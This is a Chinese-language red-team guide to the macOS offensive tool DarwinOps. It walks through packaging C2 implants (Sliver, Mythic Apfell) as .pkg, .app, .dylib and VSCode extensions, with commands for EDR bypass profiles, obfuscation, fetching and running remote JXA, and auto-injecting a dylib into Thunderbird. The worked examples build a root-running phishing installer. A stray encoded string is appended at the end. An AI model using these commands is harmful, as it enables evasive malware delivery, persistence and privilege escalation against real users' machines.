macOS红队实战指南:利用DarwinOps突破初始访问防线

3 阅读10分钟

你刚刚收到带有DarwinOps的邮件——接下来该怎么做?

首先,花点时间仔细阅读整封邮件,并按照说明下载附带的GUI。

../darwin_ops --install

在深入技术细节之前——由于许多客户对macOS环境知之甚少——让我们先简要概述一下可能阻碍你初始访问的(基本)安全机制。

Gatekeeper

Gatekeeper是macOS的初始访问安全特性。简单来说,它相当于Windows上的MOTW(Web标记)——但更为严格。任何来自互联网(即隐式携带隔离标签)的应用程序、二进制文件、可执行代码、.pkg或.dmg文件,都需要获得用户的明确批准后才能启动。

唯一的区别在于:根据应用程序的状态,步骤和提示会有所不同。下表展示了这些差异:

应用状态Gatekeeper 行为
已签名且来自App Store可直接运行,无提示
已签名但来自互联网首次运行时弹出警告,但用户可通过“打开”按钮绕过
未签名阻止运行,提示无法验证开发者,需通过右键“打开”等方式绕过

在无法直接执行的情况下,用户仍然可以绕过Gatekeeper。他们需要遵循以下步骤:

  1. 在访达中找到该应用。
  2. 按住Control键点击应用图标。
  3. 从快捷菜单中选择“打开”。
  4. 在随后的警告对话框中点击“打开”。

这对于实现代码执行来说并不理想。

TCC

TCC(透明度、同意和控制)是macOS的一个安全框架,旨在以更精细的方式限制应用程序或二进制文件对敏感资源的访问。它强制执行严格的权限分离,例如访问摄像头、麦克风、屏幕录制、键盘输入、桌面、文档、下载文件夹、位置、联系人等的权限(此列表并非详尽无遗)。

与Gatekeeper一样,绕过此安全的唯一合法途径是:用户必须通过提示批准访问(如下图所示)。

或者,可以通过注入到已经拥有所需权限的进程中来获得访问权,或者——作为最后的手段——通过获取权限提升,从而完全绕过TCC。

沙盒

顾名思义,沙盒将应用程序置于一个容器中。此容器可以与一个公开特定功能的辅助进程通信,以便与macOS系统的其余部分进行交互。所有来自App Store的应用程序默认都经过沙盒处理。从互联网下载的应用程序或二进制文件也可能被沙盒化——所有Microsoft应用程序都是这种情况。这就是为什么在初始访问方面,macOS Office宏不像在Windows上那样强大的部分原因。

DarwinOps简介

现在我们已经介绍了一些你可能遇到的安全机制,让我们继续了解DarwinOps。

输出格式

我们将首先介绍输出格式:

  • .app —— macOS应用程序 对用户来说标准且熟悉的格式。通过图标和UI行为与macOS完美集成。 非常适合社会工程学和钓鱼攻击——如果伪装得当,执行可能性很高。

  • .macho —— 二进制文件 原始的macOS可执行文件。适用于低调部署,尤其是在命令行或开发环境中。 非常适合在无需UI打包的情况下进行后渗透、横向移动或权限维持。

  • .dylib —— 动态库 macOS中相当于.dll的文件。能够实现隐蔽注入、权限维持和离地攻击技术。 用于无需直接执行的自动注入场景。

  • .pkg —— 安装程序包 被用户广泛信任;通常通过安装提示获得root访问权限。 可在安装过程中执行脚本。有助于EDR绕过和权限提升。

  • .vsix —— VSCode扩展 不太常见但功能强大。完全绕过Gatekeeper。 在VSCode内部运行并继承其TCC权限,包括完全磁盘访问权限。非常适合针对开发者的攻击。

之后,我们还有经典的输出格式:JavaScript、Python、AppleScript和JXA。

../darwinops -t CALC -G test.app
../darwinops -t CALC -G test
../darwinops -t CALC -G test.dylib
../darwinops -t CALC -G test.pkg
../darwinops -t CALC -G test.vsix

模板

在了解了输出格式之后,我们可以继续看模板。模板或多或少是预先配置好的场景,旨在帮助你绕过某些EDR或安全机制,或者简化你的工作流程。

  • EMBED_RUN 顾名思义,此模板允许你嵌入并启动任何类型的载荷——脚本、二进制文件、.app等。它支持三种技术:

    • classic → 最通用的方法,能够处理多种格式。
    • osacompile → 专门用于运行JXA脚本(如Mythic Apfell植入物)。有助于在动态分析期间规避某些EDR。
    • exec_in_dmg → (更多细节请在Discord上询问我)
    ../darwinops -t EMBED_RUN --embed-method exec_in_dmg --embed ./payload
    ../darwinops -t EMBED_RUN --embed-method osacompile --embed ./payload.js
    
  • AutoDylibInject 此模板能够将.dylib自动、无需操作员干预地注入到一个易受攻击的应用程序中(相当于Windows上的.dll注入)。它输出一个Mach-O二进制文件,然后可以将其传回DarwinOps以进行进一步的链式处理或打包。 所有操作均在客户端运行,但请注意:.dylib必须通过DarwinOps使用dylib-prepare-to-proxy选项构建,以确保兼容性。

    ../darwinops -t AUTO_DYLIB_INJECT --auto-inject-dylib ./payload.dylib --auto-inject-search-path /Applications --auto-inject-agressive --auto-inject-debug -G macho_tester
    
  • 其他模板 其余的模板相当直接(例如DOWNLOAD_RUN -> 下载并执行远程文件),我会确保这份文档随着时间的推移保持更新。

    ../darwinops -t EMBED_RUN --embed ./apfell.js -G test.app
    ../darwinops -t ENUM --url http://test.com/
    ../darwinops -t LOAD_REMOTE_JXA --url https://test/apfell.js
    

绕过配置文件

通过使用绕过配置文件,我们可以提供带有预配置参数的命令,旨在绕过特定的EDR(这是在我们默认绕过的Apple安全措施之外的)。

../darwin_ops -t CALC -G test.app --bypass-profile ./bypass_profiles/default_bypass_profile.json

绕过配置文件是JSON文件,可以由你或Balliskit客户端社区修改。然后你可以在Discord上分享这些配置文件。

以下是一个简单的绕过配置文件示例:

{
  "profile_head": {
    "name": "Default Profile",
    "description": "提供针对静态/动态分析的最低保护的通用选项",
    "version": "1.0",
    "author": "BallisKit",
    "date": "2024-11-20"
  },
  "profile_body": {
    "Default": {
      "ALL_FORMATS": ["--obfuscate"],
      ".js": ["--autopack"]
    }
  }
}

在讨论绕过类别时,值得注意的是,我们还拥有混淆模块,特别是兼容JXA的模块,适用于Mythic Apfell(jxa/js植入物),或适用于Mythic Leviathan(js植入物),我们还有一个混淆模块,对于隐藏Mach-O符号特别有用,这有助于像Sliver这样的植入物保持隐蔽。

../darwin_ops -i apfell.js -G weaponize_apfell.js --obfuscate

还有其他规避模块——例如针对特定EDR的绕过和社会工程学——但我们将在另一篇深入探讨复杂场景的高级文章中介绍这些内容。

后渗透

DarwinOps主要实现了以下后渗透功能:

  • 权限提升 => 以root身份运行你的载荷
  • 多种权限维持方法 => 重启后载荷依然存活

容器

容器是一种让你能够选择载荷的嵌入格式的方式(如果需要)。支持的格式包括.zip、.dmg和.7z。

我们特别关注一下.dmg文件。它们很重要,因为macOS用户通常通过.dmg文件安装软件或运行代码。这使得它们在现实场景中非常有效。

此外,DarwinOps包含一种基于.dmg的方法来绕过Gatekeeper。

实战用例

现在,让我们进入实践部分,通过一些你可以尝试的小型用例。为此,我们将使用两个不同的C2框架。

1/ 将Sliver植入物打包为.pkg

第一个例子使用Sliver。我们将创建一个带有EDR绕过的恶意.pkg。 Sliver植入物相对知名。虽然它们内置了符号混淆功能,但这在现代EDR的静态分析中很容易被检测到。为了绕过这一点,我们将使用DarwinOps来修补二进制文件并规避静态检测。

步骤1:生成植入物 设置好Sliver C2后,你可以使用以下命令生成macOS植入物:

sliver-client: generate --os darwin --arch arm64 --format macho --http 127.0.0.1 --skip-symbols

步骤2:使用DarwinOps武装植入物 使用此DarwinOps命令,将生成的Mach-O植入物作为输入。它将输出一个绕过静态分析的修补版本——使用Bitdefender绕过配置文件。

../darwin_ops -G weaponize_sliver -i /Users/formation/Desktop/C2/MAMMOTH_COLLEGE --bypass-profile ./bypass_profiles/bitdefender_bypass_profile.json

步骤3:将武装后的二进制文件转换为.pkg 仍然在DarwinOps中,获取武装后的Mach-O文件,并请求.pkg输出格式。这样做的好处是,植入物将以root权限执行,因为系统会提示用户输入密码——这在.pkg安装过程中是典型且预期的行为。

../darwin_ops -G /Users/formation/Desktop/outputs/payload.pkg -i /Users/formation/Desktop/C2/MAMMOTH_COLLEGE

(事实上,你可以通过单个命令完成所有这些操作,但出于培训目的,我建议将其拆分为多个步骤——这有助于你更好地理解命令的每个部分的作用。)

2/ 将Mythic Apfell作为Dylib注入Thunderbird

一个稍微高级一点的场景,使用Mythic Apfell。首先,你需要一个可用的Mythic环境,然后生成你的Apfell植入物——这将给你一个名为apfell.js的文件。

步骤1:将.js转换为.dylib 使用DarwinOps,你可以将.js植入物转换为.dylib。你需要使用--dylib-prepare-to-proxy选项来准备该dylib,以便与auto_dylib_inject模板一起使用——该模板将自动将dylib注入到一个易受攻击的目标(例如Thunderbird)中,无需操作员交互。

../darwin_ops -G apfell.dylib -i apfell.js --dylib-prepare-to-proxy

步骤2: 完成后,事情就简单了——我们将使用AUTO_DYLIB_INJECT模板(一个预配置的场景)。只需选择它并填写必填字段:准备好的.dylib的路径、目标应用程序和注入方法。

../darwin_ops -G auto_inject_macho -t AUTO_DYLIB_INJECT --auto-inject-dylib apfell.dylib --auto-inject-search-path /Applications/Thunderbird.app

步骤3: DarwinOps将生成一个Mach-O二进制文件,当执行时,它会自动将dylib注入到目标应用程序(例如Thunderbird)中,无需红队操作员任何交互。 然后可以使用DarwinOps将此二进制文件重新打包(例如,作为.pkg或.app),以便更好地投递和权限提升,就像前面的例子一样。 (这里,为了更容易理解和节省时间,我将搜索路径设置为专门针对Thunderbird,但你也可以轻松地使用/来扫描整个系统。)

我很快会发布一篇后续的私人文章,介绍更高级的场景——可能包括Gatekeeper绕过。本指南已经让你初步了解,即使只有很少的预备知识,也能快速实现什么。

在《MacOS红队实战指南 2》中,我们将了解如何通过DMG部署你的载荷并绕过Gatekeeper。FINISHED CSD0tFqvECLokhw9aBeRqiAtBdroPKrTJORmTzK0GBhjs6zGFHaN9GtluBf8pNmM8tP8B+dDGcJjvcqdDcSO+asG1kzR83ChfZUGJy0bOc/msFapFEUfvRWZQV7wEmqrH5lVPo8w2mmjnCwvTU5cXxQgfwrf2K2k2/mWcQzxcag=